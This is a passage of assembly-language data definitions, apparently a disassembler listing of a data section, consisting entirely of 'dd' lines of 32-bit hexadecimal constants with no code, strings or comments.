		dd 0D877144h, 7775A111h, 222B5809h, 968BB7DBh, 8C3E201h
		dd 1C3A0835h, 0BB35A55Eh, 252AF951h, 0E44790Bh,	0A04B4F8Ah
		dd 84A93F20h, 76663D48h, 8232821Fh, 0F545EEA5h,	0FD2F795Ah
		dd 470A7EA4h, 7AA51FE5h, 0F3231CB0h, 0FDB49981h, 868DC398h
		dd 5B9DD2B9h, 1EBC5342h, 9EFAEB27h, 80624474h, 9BD4BEAFh
		dd 7DCC8DB3h, 23AD1B70h, 0E37776BBh, 0FEA5C936h, 237EFA61h
		dd 0C06C2EFDh, 1C0FA3ADh, 32E9D95Ch, 8C35AA19h,	91C503CEh
		dd 0F0D77C66h, 0F298D8E1h, 3A97F53Eh, 48B938F1h, 0B1F1BA0h
		dd 3FB8A905h, 1F88EF76h, 525B7278h, 817F21BCh, 0C4FCC79Dh
		dd 6A6B79BAh, 2CF65D28h, 5E647532h, 38E10395h, 751106D3h
		dd 0D5843A04h, 0F41A23E6h, 2928D46Dh, 992076FEh, 7DDCA667h
		dd 0C0523862h, 0F4327947h, 5C96D265h, 0C4B352EFh, 0E94061Fh
		dd 3DC9B4BDh, 0CE583459h, 445A76E0h, 0DE5E6B03h, 5DCA2C7Fh
		dd 5D7BEF1Ah, 0C28B3D9Eh, 974955A6h, 93A2EC74h,	13704755h
		dd 0A9DA64EEh, 7ADC74C4h, 28CD6F13h, 0DFCED91Bh, 0F165EDA3h
		dd 1F1FCD22h, 0C48E1068h, 0EB37ABDDh, 0C3E78B85h, 2C3BCB5Dh
		dd 7958B99h, 0A58E4C42h, 85F9C0BAh, 5302C449h, 3F983DAAh
		dd 5FE5B8E8h, 0D4467DE4h, 0DCCCD480h, 397F296Dh, 3CED4A22h
		dd 7D7CE99Bh, 733EA761h, 7653844Fh, 0BB321262h,	33E6FA02h
		dd 20821B7Fh, 9183F2E1h, 99CDA9CDh, 730487E2h, 8FB7DD1Ah
		dd 429133FBh, 30484206h, 3738FB43h, 0FE43F937h,	7EBC2438h
		dd 3379FAD8h, 956A4CC9h, 0DD5ED030h, 0A32D694Fh, 3E4C483Eh
		dd 7DA52964h, 0E37F3A5Fh, 7B0ECDA0h, 710C59DEh,	6E4C68A5h
		dd 127FEFB6h, 9D2EA8DAh, 65B0725h, 25F12ECDh, 0C4597559h
		dd 0BB684E6Fh, 51276006h, 1F38F2CAh, 0E274B03Dh, 0D894EDCAh
		dd 8702679Ah, 4AE98893h, 3F454DD6h, 4E3DE2ECh, 2E00AD7Dh
		dd 7CAFC1Ah, 9F81D590h,	9D0CDFB8h, 33B3E76Ah, 0BC20C342h
		dd 8E947BC0h, 0CB97656h, 0A7B28BFFh, 136E43E6h,	369816CAh
		dd 0B0DE1491h, 0F4B8682Dh, 2BE2F1E6h, 4F0998A3h, 82494F6Ch
		dd 0DFD21404h, 702BBCA7h, 897C8DEAh, 20607D90h,	6889CE1Eh
		dd 0C0C168A2h, 98B81ED1h, 0F75FC11Eh, 0D0FC1B61h, 22B67647h
		dd 40164F13h, 8C007337h, 57C462EEh, 82CF5E5Ch, 61A0BDFEh
		dd 8EC83D3h, 40D8E413h,	60063F80h, 0DA684E5Ch, 0FE251F93h
		dd 22DBCF43h, 5F4AF7BDh, 89EF5F1h, 961E4437h, 567B3E87h
		dd 63FC10F3h, 21D6B90Bh, 0F6046F44h, 4C003152h,	0FBD800C6h
		dd 0A38CC98Fh, 0E39A661h, 0D00BDCD9h, 0E86182ADh, 0BED0E77Dh
		dd 164C4FBBh, 0AC2CBBF9h, 0C4DA5AE4h, 0A5914A8Fh, 4295123Eh
		dd 237F5937h, 9A62F23Dh, 0EE1ADAE2h, 0EB27DBB8h, 796EF459h
		dd 62DABA35h, 1FCC5EE5h, 396E0F5Bh, 0BB9957EFh,	20233C89h
		dd 3E79AE89h, 3BC0CC1Ch, 23FF7AE9h, 39AAB06h, 0C53C6AECh
		dd 0FCA01097h, 4E436003h, 0A10DE2BCh, 1D0DFA34h, 93B7A0F4h
		dd 5BF85A20h, 0EA2A7FE7h, 26910EB1h, 9F978A1h, 0B0F6B7B9h
		dd 0B64967E5h, 6A8A4BAAh, 8834D0Ah, 15F85Ch, 4FB8DFDEh
		dd 2E7606D9h, 645C5720h, 7C212418h, 0C93A73E9h,	0F1356B35h
		dd 0C0171B5Eh, 0E309F61Dh, 0EED2D4A9h, 0D782A218h, 0F69FC552h
		dd 0AA083BD8h, 20BBD2ABh, 5FB1EEC7h, 627EDC80h,	0AB2026F6h
		dd 0CC8498B0h, 0C021D3CCh, 820E0AE3h, 6E374CEEh, 471B8A2Eh
		dd 5B72106h, 3316BEA7h,	7982FAA1h, 60BC2CE4h, 2979968Ah
		dd 9F255151h, 76EFE8E0h, 0DB10CC0Bh, 5907F8B9h,	0C8F80EDCh
		dd 85BEC77Ah, 12C0E248h, 157CFA1Fh, 7DA3B68h, 0ABD9581Fh
		dd 0E2BA1248h, 1FCAC52Fh, 0B492D34Eh, 207D5FEBh, 0E07569E8h
		dd 79627B03h, 0AEE1A22Ch, 975F4722h, 2F257C04h,	0EE711714h
		dd 0E0FAB2DBh, 895226A7h, 4B41201h, 0C791AE62h,	5BE871DFh
		dd 2755117Ch, 4E18EB8Bh, 0F2193402h, 27924E44h,	0B4AAF36Fh
		dd 5934B487h, 3EFA7174h, 0E087DFEDh, 2DA894CAh,	0BBCD61FCh
		dd 68CE2E80h, 77EEB79Bh, 5B8FE7B4h, 52520DBEh, 0A90B9897h
		dd 0D6F7B071h, 0F278CC6Ah, 274ED0ABh, 0D5BA1AD8h, 71AB7743h
		dd 735C7C2h, 0C1E2096Fh, 0CAABE335h, 0C5787E3Eh, 0E35A23F7h
		dd 0A1200455h, 307327A5h, 0CE04DDB8h, 9DA63601h, 898E7836h
		dd 0D1B451ABh, 9B19D640h, 50FE1884h, 55B37CCEh,	96518CEh
		dd 19C30B9Ah, 0EEB7A626h, 0C0E494A6h, 8E9E741Fh, 0FD442B42h
		dd 0D543202Fh, 2F8E94BEh, 0F1BD565Bh, 85DF6FC3h, 71097C85h
		dd 9BD66632h, 0B3C0B8F0h, 3B8A2CA9h, 4FBCD865h,	0A8AA75BBh
		dd 1963F18Ah, 24716C8Fh, 23D6B0AFh, 61EB8454h, 796D8BF4h
		dd 81710A36h, 0C33567ABh, 52DA0844h, 2067BCEFh,	0C1D5195Ah
		dd 5154765Eh, 893FF8D4h, 0EA3D407Eh, 805A6D0Fh,	0F278B2E8h
		dd 0F0DF7E96h, 3BBCE59h, 23E7AB0Bh, 4532D324h, 0CEB45C2Bh
		dd 0AFA0ADE4h, 6400C91Dh, 3DF9FD6h, 83185DD0h, 64268127h
		dd 0E0B334C6h, 0FEF684A9h, 0A79F16ABh, 1545394Bh, 89D147A0h
		dd 9632E4E9h, 0B876FA1Ch, 5EBE70B1h, 0B373CDC6h, 0F07B2655h
		dd 0B928E1D4h, 0E8DADD39h, 474C4004h, 0F7235825h, 0CAA216E9h
		dd 15CD1576h, 947EB531h, 0A6CB5C08h, 8FE1182h, 1EDC8523h
		dd 956F00FBh, 7C4AA645h, 0E738BC3Eh, 54197377h,	0D84A1408h
		dd 7EF42DC2h, 233D65A0h, 10F2A810h, 68027D70h, 6FA306DDh
		dd 0EABBF4E8h, 8887B2DBh, 7AEE5984h, 6730125Ch,	1AC32B2Eh
		dd 2BD00B37h, 982C0D4Ah, 0B10A592Fh, 0B5510FFAh, 0F2232DD2h
		dd 0FC7E01BBh, 0A7E194FCh, 0D47D9DBAh, 247F00A4h, 3BBBE6C6h
		dd 39B4CC5Ah, 0DD5566C1h, 78D22C8Ch, 0DBC62AA3h, 4B65A696h
		dd 46BA07Dh, 0A16550C0h, 9586745Eh, 22A96526h, 8B355314h
		dd 0C396C47Ah, 955A2913h, 99F35D45h, 0B7BC6CCCh, 2E4FBBB4h
		dd 9667D9FBh, 0C7F6A666h, 9F7C0E7Dh, 9C98231Ah,	0B5EB3FA7h
		dd 7A42258h, 45F2CAEEh,	5CA29790h, 0B9B54A88h, 0B134E3C5h
		dd 40AF2C90h, 855C9941h, 2470106Ch, 313D759Dh, 0F1669D98h
		dd 0BD618CAEh, 0FB8FB910h, 67330346h, 0CB5BC2F2h, 8E4366DEh
		dd 2AE088D5h, 93D3A435h, 6A124E1Ah, 1AAAABFFh, 815211AEh
		dd 39902B2Dh, 0B0D8B4F5h, 1B06322h, 27BD6639h, 7B4FB492h
		dd 92B1A042h, 61912832h
		dd 0FFD5ADF3h, 0A66ECFEh, 78F58145h, 0AFB8D363h, 9DD951B7h
		dd 99D0E530h, 0EE1235F2h, 9046DB94h, 7D257191h,	0CEBABB8Dh
		dd 3F94A7FFh, 97B2069h,	515DD9BCh, 0A72F99DCh, 219E55B9h
		dd 2145870Bh, 0C3AD076Ch, 8FE712AEh, 8D10587h, 6AAFB95Eh
		dd 1E24FB7Dh, 0F0DED6B4h, 6D48D7C9h, 9AFE2863h,	0B0269F17h
		dd 64C36981h, 5E3F32A3h, 4E01695Dh, 7EDF1B36h, 0C8BA3324h
		dd 6D2F834Eh, 6A6B8796h, 5658CF66h, 35E734D9h, 3B65FFB2h
		dd 37783A56h, 0BF543D46h, 48AE3162h, 0BD87328Eh, 0A2017A9Eh
		dd 0FF42C5DDh, 98022DC5h, 0FF6E0471h, 15AA13C0h, 70FF1063h
		dd 77EC2837h, 0EE9FFA59h, 0AD85D3C1h, 0F18CF781h, 4C9374DBh
		dd 3765EE31h, 9F697551h, 48591C78h, 0D79F27D2h,	825FC683h
		dd 0D04EF876h, 98F627C4h, 0D549AE48h, 7FB60C21h, 0A99E6EF5h
		dd 8AC495F6h, 8DC762A2h, 2080AE32h, 0C332757Bh,	4A3A446Eh
		dd 0FFE71C71h, 0C8944FE2h, 552FCC2Bh, 91A09467h, 3A0ED6BFh
		dd 0F15AFD3Dh, 76777007h, 0C8263142h, 0E02C03BCh, 77513E59h
		dd 0CCFC55A3h, 0D4AEAC83h, 0DD2A2C1Eh, 0F01D5DD3h, 2DC960C4h
		dd 2E7A38B8h, 0C533A9Ah, 0ABD3E87Bh, 484422E6h,	0FB5F78B1h
		dd 8593826Bh, 439D3703h, 24424AB2h, 568EF4AFh, 179ECE8Ah
		dd 43AB62C4h, 9E446407h, 1143CA16h, 62573AE6h, 9E24EB70h
		dd 52722F83h, 0FBFCDA27h, 0B03D4F0Bh, 480EA562h, 0D72DD78Ch
		dd 3C81831Fh, 92C0F86Dh, 2FD18921h, 29752CC7h, 0C775A878h
		dd 98FF225Ah, 1760E32h,	0B713FA60h, 0E5ADBB79h,	672A2A24h
		dd 0B35AE03h, 26C14907h, 69C76CF0h, 5027D19Dh, 0BDCD8E99h
		dd 96CBB453h, 0B5A306F4h, 0FA99A15Ch, 4E9A8D01h, 0F5280E04h
		dd 3D7743B6h, 0CC1D36FEh, 0C1C6731Eh, 29F63196h, 3C364E1Bh
		dd 0DD5382F1h, 0E811AF2Bh, 2279B58Ch, 4ADC195h,	69BB2FAEh
		dd 0D40AF7F9h, 406DA834h, 0A50B4C52h, 9C69D57Bh, 2C41639Ah
		dd 0B39677CCh, 316E37EDh, 480E2E21h, 0F1FCB17Bh, 7D2B68BFh
		dd 4AB7D242h, 0E68E77CFh, 0D57C71CEh, 26167B96h, 0BC99D32Eh
		dd 0BC1D005Bh, 3AE3EA7Bh, 14E962C8h, 0D4007D07h, 0FEAFA5D6h
		dd 2B74619Ah, 0E3698D3h, 0B9DB13F9h, 0E45323BCh, 362F4077h
		dd 58AB30A7h, 5B1C28DEh, 2A2AD261h, 0B916F842h,	1F53BC54h
		dd 1D91B4DCh, 0FE28F2ADh, 0A40BBD21h, 476C9376h, 774F712h
		dd 7F2383E2h, 8667A524h, 96D18517h, 0B44050B5h,	0D181A80Fh
		dd 4CB0768Ah, 5C3A71F2h, 0DACD1D99h, 3E19E47Eh,	664B7DB5h
		dd 0F91D2B77h, 5BFE6283h, 1934E5D2h, 73EB6E05h,	2B1ECABAh
		dd 0DFC1C7B4h, 0ECE5867Bh, 0A4D563BFh, 538AC0ADh, 0BD7D32DDh
		dd 0D0F4AAA8h, 0B29EC00Fh, 7306F1BAh, 0BC9DF7C0h, 6A16D1E9h
		dd 0A80D9B3Eh, 4DDE4D7Bh, 878576CFh, 4B39DE81h,	5C1016D8h
		dd 1E770EC5h, 0EFABFFCFh, 3F883032h, 6E3353DEh,	10C9F411h
		dd 96F07C5Bh, 5E222E92h, 33E043FCh, 8E644BF9h, 0AABF02EDh
		dd 7064F358h, 0D220BB8Bh, 30DE4AD1h, 0D50C989Dh, 0FC6FF87Dh
		dd 68CC9AA4h, 0CFCA50A9h, 0CCFF2670h, 1342389h,	461C85BAh
		dd 7E9CF43Bh, 4C4880D4h, 904C81D9h, 0FE4D61BEh,	54C57402h
		dd 1E24CCA4h, 376D9CE2h, 195DC7D6h, 1A5A5C51h, 0E69BBF65h
		dd 0B3F204Ah, 328545CEh, 0EC6DB24Dh, 965C4404h,	2EB3CE29h
		dd 0BDA33638h, 5DDCC033h, 41769A97h, 11A31108h,	0E35A6C26h
		dd 35EBDA5Bh, 6D8E9C2Ah, 6F74CE00h, 896FBC0Ch, 0F1283AD1h
		dd 0AFBF30EDh, 0B4FB337Dh, 0A2BBA13Ah, 0DA3994AEh, 0B9CC13C3h
		dd 9A465913h, 0D1D738C9h, 0E8FF0C0Eh, 5981C84h,	0A669D4ACh
		dd 0E84E86C6h, 82DEDE31h, 10FE9EC9h, 0EDBCC22Fh, 0D8254F4Bh
		dd 4C2244E4h, 286DCA0Ah, 0C4C6D3FCh, 0BD300841h, 701177AAh
		dd 0D1BC2158h, 373C027h, 9B2EE6Fh, 415AA491h, 3BE0E8Bh
		dd 49C5986Eh, 0E2F26B41h, 5A71E84h, 0E4F954E5h,	74F6E7E0h
		dd 54F67CE8h, 0E04205B2h, 0BE722492h, 357F292Dh, 3CF5E502h
		dd 0F16041E2h, 0C484D57Ah, 7AA85540h, 0CB4EBE86h, 0AE72B02Fh
		dd 94B2D036h, 591C303Eh, 9FDD3C1Eh, 2DE9B82Ch, 817818EAh
		dd 2CF87B28h, 0CF6A9D13h, 0E9587323h, 99394F15h, 85B2AC24h
		dd 0E9F53153h, 0C1C0982Ch, 57926D8Dh, 37EC472Ah, 745BFC1Dh
		dd 473F8A0Ch, 0D176A570h, 9CF8F3E5h, 893D7770h,	0FAD2AC15h
		dd 921501E5h, 76C2B489h, 0E07AA27Dh, 216F83A4h,	0E05921F3h
		dd 1D0735E4h, 0FA1FB612h, 880FA507h, 0A83DF65Bh, 3F93D224h
		dd 0B28AAD2Bh, 10785B15h, 0F8190613h, 0F956DC53h, 1CAB3AC9h
		dd 6AD18C30h, 47913843h, 0D349BD9h, 0DC18BC1Ch,	0D25DECCFh
		dd 422CEC1Ah, 61F739C0h, 0FFF7434Ah, 52DE7C2Dh,	7AAC4AD4h
		dd 48769606h, 0A9034C5Dh, 0E2D9BC2Bh, 0DBB421DAh, 1903C059h
		dd 401ED416h, 4F8BDFDh,	0CF791CADh, 93AD96B3h, 0C7BFDC83h
		dd 5CBFBAD5h, 4ED36943h, 7E26D2EFh, 0D10CC0F4h,	272F96C1h
		dd 3690DEB6h, 950ABD8Ah, 5E6FC4BEh, 62EFA266h, 0C9FAD010h
		dd 0D1B3F215h, 18D1722Fh, 59D05427h, 0B375ED73h, 6A52695Fh
		dd 57E6FE3Eh, 0CCDB716Dh, 9BB6C9CBh, 40506F45h,	0E0C8A4A8h
		dd 557F4937h, 81686A66h, 0A61B0431h, 0E40FF48Bh, 0CFDF2276h
		dd 0AB14B74Fh, 0D8D60C0Dh, 0EAF0D48Dh, 0A3621C27h, 0D166D2F8h
		dd 9B2B2C3Ah, 475BF7D7h, 64360BE9h, 6A328C4Bh, 522E91D1h
		dd 47B82FDFh, 5FDFE95Bh, 9A536CD0h, 3CC475CBh, 0B4022385h
		dd 0CCEDE4E1h, 0A2A2FC79h, 43710725h, 0D9409820h, 48574418h
		dd 0F9D11D1Bh, 0FA340F96h, 374E8F62h, 616E3CAFh, 0ADC952Eh
		dd 56944202h, 0E0847647h, 6F34D2E4h, 3C5AEBABh,	61C97C19h
		dd 0E66C16B2h, 8891CC9Eh, 0B8B31416h, 0E05ECA19h, 59AEFE98h
		dd 94921D85h, 1AF7BFB2h, 0A5228D70h, 0F2257164h, 33ED3A1Dh
		dd 43D45E77h, 49BD84EBh, 7C7C9E9Dh, 0F43426EFh,	64BABCBFh
		dd 29D0D588h, 27191BF6h, 878407C9h, 7AFC8A82h, 7FFC59A9h
		dd 0F9092F1Eh, 0DB7BE165h, 3EB19379h, 2A9A61F0h, 0ED8A8882h
		dd 6585AAE6h, 0D72F4459h, 778B44DAh, 21D5D7ADh,	0AA49ED87h
		dd 2088EEFBh, 72DA40B8h, 39C313E0h, 2CCAEE4Ch, 0AF59AD47h
		dd 0AD17101Ah, 1EBB8C27h, 0C6A208CFh, 0EB314897h, 0CCB60F95h
		dd 96F31F3h, 0C14CDF6h,	68EDEAF4h, 4E483B2Ah, 0F3472217h
		dd 7E42D1C5h, 0D58E4C75h, 76579D8Dh, 0DE9A66BAh, 1858CB84h
		dd 81AA0DCAh, 677060C5h, 0F5803884h, 0FCAF656Dh, 95D6CB24h
		dd 947FEB32h, 0BC3E4329h, 0B845B03Bh, 78145201h, 5ECD8A42h
		dd 85313C13h, 0C6C0FBDBh, 5DC27C0Ah, 4FB7B60Ch,	0DABDF29Bh
		dd 174A8207h, 4B252068h, 0A2C2A6ABh, 0F65B3AFFh, 0EAF2E315h
		dd 787B7C8h, 1CE339FBh,	0AB0BED69h, 6F9DB68Dh, 197E57EBh
		dd 73D28A46h, 704E7FA0h, 0B27C187Ah, 7D83CBAEh,	0ED7C00A3h
		dd 6A9E8A6h, 2C231162h,	26838416h, 0BF2347D6h, 85A6CAD5h
		dd 3D6B9420h, 0A58F6E42h, 948EBD4Bh, 393CBA9Fh,	0C099CAEDh
		dd 55FEE3A9h, 8C2A35D8h, 4769021Ch, 2E9FC7A6h, 52FC9559h
		dd 48682DEEh, 5B2C9D93h, 6AD37659h, 28856EEBh, 606266DFh
		dd 10900374h, 5C9946E0h, 4E18AAF8h, 0AD3844BCh,	0E05F6E44h
		dd 9AF23B0Dh, 0F45306FAh, 0CD86871Eh, 7A5FE801h, 0BA2B23BDh
		dd 21AF91EFh, 60CD0BB5h, 4E87BC76h, 8FBB5F87h, 4F5B9FD2h
		dd 1FADF0E2h, 651196E5h, 2D065BEFh, 6A0064Bh, 0C364E27Eh
		dd 636E273Ah, 7F7B25FFh
		dd 0C154017h, 834DBDC8h, 9D3932E5h, 202CDBACh, 63046298h
		dd 0A7957F7Bh, 8F15BED7h, 47F6F4EEh, 86595623h,	0F094E6AAh
		dd 580B8BEAh, 0B936B8E6h, 0A086E696h, 356B9241h, 93E441D9h
		dd 0F454464Ch, 26490D9Ah, 7E09CBB7h, 0A69A5D5Dh, 0A6955308h
		dd 17B3856Dh, 85F5FCBDh, 0C10ACE34h, 3449BC4Fh,	4B964703h
		dd 0ABA36C4Fh, 881612C1h, 8036F72Dh, 88651785h,	27616F9Dh
		dd 2B4FA3E6h, 0AE6F21D4h, 0A7CAF5FAh, 8F825727h, 0E8A05507h
		dd 0F58F551Bh, 4E784EFEh, 2ECE4AFBh, 0A53CE0CCh, 99062B13h
		dd 77967291h, 78FFF944h, 0CD3C7863h, 0CE7EC72Fh, 759CB5Bh
		dd 413C00AEh, 57DA3670h, 0FB9F952Dh, 0D5764522h, 9AF846h
		dd 80949837h, 0E6509E8Ah, 957C190h, 784808DFh, 629FF1A1h
		dd 2FF3B627h, 662951B9h, 64D2FE26h, 996D810Ch, 970A58EBh
		dd 6EA832A4h, 780F53DDh, 0AD6F22D4h, 0C6CF4DC3h, 64F8B9C4h
		dd 0A2F26CD4h, 523005CBh, 86AC92BCh, 9A85B7CAh,	6708D3AEh
		dd 0DC2EF09Eh, 0B6B7C9D3h, 5ABFDE5h, 39C1E385h,	1B04C47Fh
		dd 0D722585Dh, 6230A5C8h, 0CAB7AAAEh, 4C76B7A5h, 598BB10Ah
		dd 0ABB9ED23h, 0E9C05DA2h, 0A30548CFh, 0F66837A2h, 0B49F3E88h
		dd 0B5168895h, 0A208932Eh, 618CBB83h, 31F4990Ah, 51FBCA3Fh
		dd 4671465Ah, 0D468DB5h, 0E602A8Eh, 121CCDDFh, 7CA7D9A6h
		dd 6D5B91ACh, 0F66229BEh, 38FBCF97h, 60ADCACCh,	82BD50ECh
		dd 0BD6B0DABh, 832CB8D4h, 0CB077511h, 0E353161Fh, 0A68DFFC0h
		dd 0A1D312F1h, 5CCB918Ah, 0EF06476h, 0AA38FC55h, 37B7219h
		dd 0B4267157h, 87552068h, 3111D3F3h, 0DD44921Bh, 322604EFh
		dd 159C4835h, 0BC893D35h, 4D764ADFh, 5E8BF908h,	83943A17h
		dd 7554E2Dh, 0C2780749h, 332B543h, 6907C8F5h, 72F3800h
		dd 0EAADF433h, 94C228D5h, 692FD610h, 2AF35FC6h,	879E43BBh
		dd 50E7A97h, 35C259DCh,	22E19D58h, 3FB1B29Fh, 62A75952h
		dd 0BECCB001h, 37CB3B1Ch, 0FBFA2227h, 19468EC8h, 991E4629h
		dd 0BCE4589Ch, 0FCC027AFh, 7E81FAD2h, 0D3A9C68Ah, 82CC6C3Ah
		dd 0B314F0C3h, 30D449B1h, 337171AAh, 2B51819Fh,	1568A81Bh
		dd 0A615599Eh, 37454EA1h, 26667E09h, 7C6AA84Ah,	629B541Dh
		dd 297ADAE8h, 0D5CE5164h, 727F2B30h, 446E717Dh,	6E2D12Ah
		dd 4E45900Bh, 28D7300Fh, 38A1C77h, 0C6FEF44Dh, 233AC3EEh
		dd 943A8160h, 9AD948Fh,	0BD73B6D7h, 0F48D2259h,	0CBFA60B9h
		dd 0EDEC9920h, 72DDA342h, 0F333CF2Bh, 258A0F78h, 81BE323Fh
		dd 0C0900EEBh, 0C83E161Dh, 395BE2A5h, 47FD5AFCh, 2CCC77E9h
		dd 9E64AF9h, 0F82B4AA7h, 0F5C71F42h, 2B1C580Eh,	8FE169BCh
		dd 5EBF3137h, 53782E22h, 40029ED2h, 44C49EE4h, 93A2D1EFh
		dd 1DA39EE2h, 1FADF57Fh, 0EE5D9D1h, 7FF98565h, 0A599221Ah
		dd 0B7830F64h, 4190A377h, 3DB89208h, 79F04FD6h,	0A93F509Dh
		dd 25361563h, 531A3C39h, 0C528FF19h, 4D72E1F9h,	0D58FFBBCh
		dd 49E0DDD9h, 0E0E199C7h, 0AFCB4768h, 0AB44A7ECh, 0A1EC603Fh
		dd 2800C62Dh, 8603A1FEh, 0F90C787Fh, 112C75B9h,	9DA5D14h
		dd 0BAFC6D06h, 0FBDCA8Ch, 824E7F78h, 1DC9D1FDh,	0F065A1BCh
		dd 8B19F97Eh, 5CE6885Ah, 0ED1DCAF4h, 8E45608Ch,	5D65B969h
		dd 0C35CA597h, 625340EAh, 25872D2Ch, 47B603BEh,	336AE5A4h
		dd 8F1DF8EDh, 1D7FF80Ch, 0D6DB52B3h, 5BA3D870h,	3305F471h
		dd 1E1232C4h, 8017080Eh, 779C24BBh, 625C94C9h, 0ACBACA9Dh
		dd 0FD3330A3h, 0C750358Eh, 0D883C46Dh, 0BB315E39h, 587B499Ah
		dd 9ED69444h, 0C3CE8157h, 0E6F43732h, 8D91DA96h, 3FB60C49h
		dd 0B654C3D9h, 58990648h, 2EFAC287h, 2A55BF9Dh,	9BC778A3h
		dd 0F1E4441Eh, 81D7022Ah, 0B68A4F9Eh, 3A3A3A80h, 944D3125h
		dd 11A437E8h, 2EA975ECh, 351E6E08h, 9B2A3E40h, 0F9A0B0C8h
		dd 7C5F2D93h, 8E0897EDh, 0BF5B525h, 79853749h, 0BE42655Bh
		dd 76D063D5h, 2DB2DA92h, 0A9D27645h, 47912AF0h,	73EDB986h
		dd 19D74318h, 0DD954621h, 92829053h, 1A6F5986h,	7A5818A7h
		dd 331ABEB4h, 0A7763055h, 24EEA27Fh, 5BF5EA2Fh,	86D6622Dh
		dd 7533CC2Ah, 2684A9BDh, 0C08F6082h, 0E64B166h,	0C2DD692Ch
		dd 0AFE743C2h, 838D279Fh, 1739B35Bh, 0D0D17E2Bh, 3E02E5F5h
		dd 214B2781h, 8E0AB1Fh,	0E7CEEDABh, 4C7E8D0Bh, 85E30CE8h
		dd 9EB49ACCh, 0BF6973B8h, 0C027941Bh, 0BA4B816Ah, 717BFC31h
		dd 0CF859B6Dh, 99E0F531h, 0BBB4B45h, 90DC9DECh,	0E3486C25h
		dd 0CE635232h, 3512015Bh, 0AAAF3BB3h, 9331C5A4h, 2A61ADD2h
		dd 33E3B6Dh, 560DEEAAh,	8260EC9Eh, 0AE5A6688h, 0D32F720Dh
		dd 0D0A29DEDh, 0E330B55h, 36953E56h, 0E2960426h, 666257CEh
		dd 0CC815E3Ah, 29D07965h, 8BD5D69Ch, 55917033h,	0B0970AEBh
		dd 9472213Fh, 16EC9110h, 0FF63E55Bh, 9E5B79C4h,	345C0536h
		dd 0D7E99A61h, 0E906A107h, 15CC60DDh, 0C62413E4h, 8312AB34h
		dd 18992578h, 0E8EFD9C9h, 0F3B45E33h, 33A19936h, 3B7212E4h
		dd 0DB6616B0h, 4AD087B5h, 0CEEB8A7Dh, 0ADB7F6F7h, 0DBCDA0Fh
		dd 3BD1C811h, 4CAE852h,	0AE97EF96h, 0EB4682A7h,	0B24C5904h
		dd 6DF3B4BBh, 3EA108C8h, 0B5BDC2CEh, 0CBF21F4Fh, 3CF15E0Ch
		dd 59340F47h, 5A876B1Eh, 8163BC53h, 4ACF8700h, 0FDE9C259h
		dd 96A61965h, 5D6C5262h, 35788432h, 4879DFC9h, 2D6B6CE8h
		dd 0EF101F8h, 895EF5ABh, 72EEB007h, 0D8A09C99h,	0F2885C13h
		dd 3A697C57h, 0B49A88CFh, 3785EAE7h, 0F0204238h, 5B85079h
		dd 94AAB8F7h, 0CDB90128h, 0E10FC01Bh, 0D5E07A1h, 95B7CC94h
		dd 9F88FC05h, 0D645049Dh, 0B21236FBh, 78F30E40h, 0EF29B419h
		dd 53445B68h, 71E744FAh, 0F7DEBB1Eh, 0AF8EBBAh,	8B71CE0Ah
		dd 0DE881485h, 4B7E86B4h, 0EDF9ECCh, 0BC82F794h, 0DE216F66h
		dd 7708CD99h, 1099A18Bh, 0C78BED2Fh, 0CEEFE41Ch, 0E3E954B8h
		dd 1A563924h, 0DEE3542Bh, 68962FB9h, 0F05AC0E5h, 0DEC9841Eh
		dd 92272E04h, 92EDF9F9h, 5C1B8377h, 0C366F377h,	9CC28902h
		dd 7550A420h, 493E56BFh, 24FD5225h, 927755EBh, 55ABC3B2h
		dd 0AC3EA02Ch, 0CC37B4D3h, 8EE8EC85h, 0C9C19998h, 8AD46DB5h
		dd 0BE3B8E19h, 6790FE18h, 602A5C45h, 0EBFD314Fh, 9F526F80h
		dd 245DA959h, 22231CBFh, 99A8934Bh, 1DCBBC48h, 95AAF32Ah
		dd 17131342h, 0A5557B6Fh, 27214880h, 742E662Bh,	6BD8C9D9h
		dd 33A8AEE2h, 21B888E3h, 53F616E5h, 0B5808A1Ch,	3532C53Eh
		dd 0E75B7EC0h, 0A43322CEh, 0C50B84FDh, 7DD7AEC5h, 0BACCDC4Ah
		dd 0B45C2810h, 538B1EF8h, 35691E78h, 0D9C80C83h, 0DFBE4C68h
		dd 7EC2C5D9h, 1F772C12h, 0CB077C8h, 1E42CCF0h, 0DA2E5A32h
		dd 5ADD2A34h, 32A54CEAh, 0D38B91C3h, 10739045h,	0D261B195h
		dd 3D6D1696h, 98DF14A8h, 0F5F2AFBFh, 8B3B7C11h,	0BE3D1D53h
		dd 0F8D72A62h, 20D36B1Eh, 38B45DDFh, 1FD3CB5h, 15DFDBBFh
		dd 12D942A9h, 0F1C81868h, 0AC55F62Dh, 6F71E43Dh, 3F4C21D8h
		dd 3FE8DFD4h, 26854FCh,	0ED30FAC9h, 0D6FC43D5h,	7BC7E646h
		dd 27EDCA0Ch, 4EC2EEC8h, 70A898F0h, 0E296F6Ch, 0AD184947h
		dd 90BEFFBCh, 0CE0616D6h, 0C80E948Eh, 0E17F5774h, 70B4E9DEh
		dd 4A2C8920h, 32D5F0ECh, 0D22CCACBh, 2E543453h,	9743719Fh
		dd 0C33962E6h, 0FE2B73D5h, 8967D08Dh, 738AB5EDh, 83F895C6h
		dd 45D93107h, 2AD0F9Ah,	0BA00F80Dh, 0C07D7CBCh,	10679FA9h
		dd 0F062A788h, 3E377852h
		dd 0C54861B0h, 7BD5C4CCh, 0EA9444CCh, 31AA8AE3h, 6594A156h
		dd 6295201Ch, 0ACC69C43h, 0D6BC79AEh, 0AB7FDD6Fh, 1212A7D6h
		dd 94AD6F9Dh, 7D90AB92h, 66EF1821h, 4949602Ch, 67660A32h
		dd 0F7FB938Fh, 0F3C09060h, 88306415h, 7D9006B3h, 6BED6771h
		dd 0E7DB2140h, 23E55E7Fh, 645EFDD6h, 0BDB65326h, 6E714164h
		dd 40D95F97h, 0E56756EEh, 2217224Bh, 0D2B8930Bh, 8C5CF64Ah
		dd 0F45B943Fh, 2959DD91h, 81D43CCDh, 4416629Ch,	9ACA6B4Bh
		dd 9DD1D3FBh, 0C933C08Ch, 0DDF0EAFBh, 0E4EFEB57h, 42DB34FBh
		dd 0C2D56A58h, 954F95E3h, 2AA48F46h, 7EECD5EEh,	6653CD83h
		dd 2B883308h, 2485B9C9h, 4B3F72C1h, 0A4EFC456h,	434C896Bh
		dd 8F592E3h, 1460FF27h,	478895F3h, 71DDDE6h, 2603C28Bh
		dd 4E2AD4ECh, 5E5B8F64h, 72EF5B28h, 3AB7FC88h, 0FEDD6C78h
